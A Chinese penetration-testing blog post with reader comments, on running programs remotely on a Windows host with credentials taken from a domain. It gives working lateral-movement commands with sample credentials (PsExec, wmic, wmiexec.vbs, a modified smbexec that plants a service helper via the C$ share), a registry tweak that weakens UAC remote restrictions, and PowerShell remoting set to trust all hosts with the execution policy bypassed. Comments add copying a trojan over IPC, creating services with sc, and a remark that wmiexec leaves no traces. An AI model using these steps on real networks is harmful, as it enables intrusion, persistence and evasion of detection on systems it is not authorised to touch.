author:三好学生
上一篇学习了如何导出域内所有用户hash,那么,接下来准备用破解出的用户名口令尝试远程登陆目标主机并执行程序,结合实际环境做了如下测试.
远程登陆目标主机执行测试程序
远程主机:
1 2 3 4 |
ip:192.168.40.137 用户名:test 口令:testtest 操作系统:win7 x64 |
远程登陆方式:
1 |
net use远程登陆,不使用3389 |
Tips:
解决工作组环境无法远程登陆执行程序的方法:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1
计划任务方式执行程序。
条件:
1 |
启动Task Scheduler服务 |
PsTools工具之一,在指定的一台或多台计算机上运行应用程序
条件:
1 |
需要开放ADMIN$共享 |
功能强大,可做系统管理、远程主机信息获取
条件:
1 2 |
启动WMI服务,开放135端口 本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证” |
使用VBS脚本调用WMI来模拟psexec的功能,基本上psexec能用的地方,这个脚本也能够使用。
条件:
1 2 |
启动WMI服务,开放135端口 本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证” |
使用用户名口令远程登陆192.168.40.137,如图1
查看目标主机共享资源,如图1-2
1 |
at \\192.168.40.137 |
找不到网络路径,判断是目标主机已禁用Task Scheduler服务
如图2
1 |
PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe |
找不到网络名,判断目标主机已禁用ADMIN$共享
如图3
1 |
wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe |
Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
如图4
1 |
cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig" |
WMIEXEC ERROR: 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
如图5
整理下目前掌握的目标主机信息:
目标主机:
1 2 3 |
1、已获得登陆用户名及口令 2、可以net use连接 3、开放共享C |
但是:
1 2 3 4 |
1、默认admin$共享关闭,无法使用psexec 2、Task scheduler关闭,无法使用at、schtasks 3、Windows Management Instrumentation服务关闭,关闭135端口无法使用wmic、wmiexec 4、不支持3389 |
那么,如何在目标主机远程执行程序?
猜测管理员应该是对常用的远程执行程序的方法做了限制,就在一筹莫展的时候突然想到了smbexec
,它是基于psexec
,如果目标主机开放了其他默认共享,倒是可以尝试smbexec
于是搜索smbexec
,终于在GitHub上面找到了一个smbexec
的c++参考资料,作为工具改进模版
模版下载地址:
https://github.com/sunorr/smbexec
模版中的bug不细讲,最终我成功用vc6实现了psexec
的功能,同时也做了一些改进:
为了完成上述测试,加入了参数来指定默认共享,如果ADMIN$
共享关闭,那么可以尝试其他磁盘的默认共享
在实际测试过程中,如果ADMIN$
共享关闭,c$
共享开启,因为UAC的缘故,注册安装服务的功能会出现bug,采取的解决办法为将实现注册安装服务功能的exe单独上传至c:\windows
下, 即可解决权限不够的问题
文件说明:
1 2 |
test.exe:主程序 execserver.exe:实现注册安装服务的辅助程序 |
参数说明:
1 |
test.exe ip user password command netshare |
eg:
1 |
test.exe 192.168.40.137 test testtest whoami c$ |
(1)上传execserver.exe至c:\windows
1 |
copy execserver.exe \\192.168.40.137\c$\windows |
(2)远程执行
1 |
test.exe 192.168.40.137 test testtest whoami c$ |
如图6
最终我们通过改造的smbexec,突破目标主机限制,成功远程执行程序。
程序源码下载链接:
实现在目标主机远程执行程序后,可对目标主机开放powershell remoting,用作远程连接
条件:
1 2 |
远程连接会有痕迹 本机要开启winRM服务 |
命令汇总:
列出所有远程信任主机
1 |
powershell Get-Item WSMan:\localhost\Client\TrustedHosts |
设置信任所有主机
1 |
powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force |
设置允许运行ps1文件
1 |
powershell Set-ExecutionPolicy Unrestricted |
执行test.ps1文件
1 |
powershell -ExecutionPolicy Bypass -File test.ps1 |
ps1文件如下:
1 2 3 |
$UserName = "test" $serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password) invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig } |
随后用python写的smbexec也实现了相同的功能,但py2exe的时候遇到了大麻烦,如果有更简单的方法, 希望能得到你的帮助。
这篇文章共列举了六种远程执行程序的方法,如果已经成功登陆目标主机,却无法执行程序,最心塞的事情莫过于此。
1 2 3 4 5 6 7 |
at psexec WMIC wmiexec smbexec powershell remoting ... |
获得用户名口令,实现远程执行程序仅仅是个开始,内网渗透会很有趣。
水平有限,欢迎补充。
@_Evil 感谢补充schtasks
copy muma.exe \\host\c$\windows\temp\foobar.exe ##IPC拷贝木马文件
一看就是内网渗透高手~!~
补充一种远程执行程序的方法:
利用服务sc工具启动程序:
1、系统权限
sc \\10.1.1.1 create winnt binpath= c:\cmd.exe
sc \\10.1.1.1 start winnt
sc \\10.1.1.1 delete winnt
@小表哥 你的问题描述不完整,net
use不可以的那台主机可以登陆其他系统吗?
问一下win2003用NTscan猜测出了口令,但是连net use都提示找不到网络路径,但是换另一台就可以 at 都可以。 这个要求本机什么特殊设置?
@浮生
自己做个测试观察下 其实wmi日志最多 因为一次只能执行一个命令 也就是说执行一次命令都会登陆和注销一次
thanks ! wmiexec用的最多,因为没有痕迹
SCHTASKS
SC
原文连接
的情况下转载,若非则不得使用我方内容。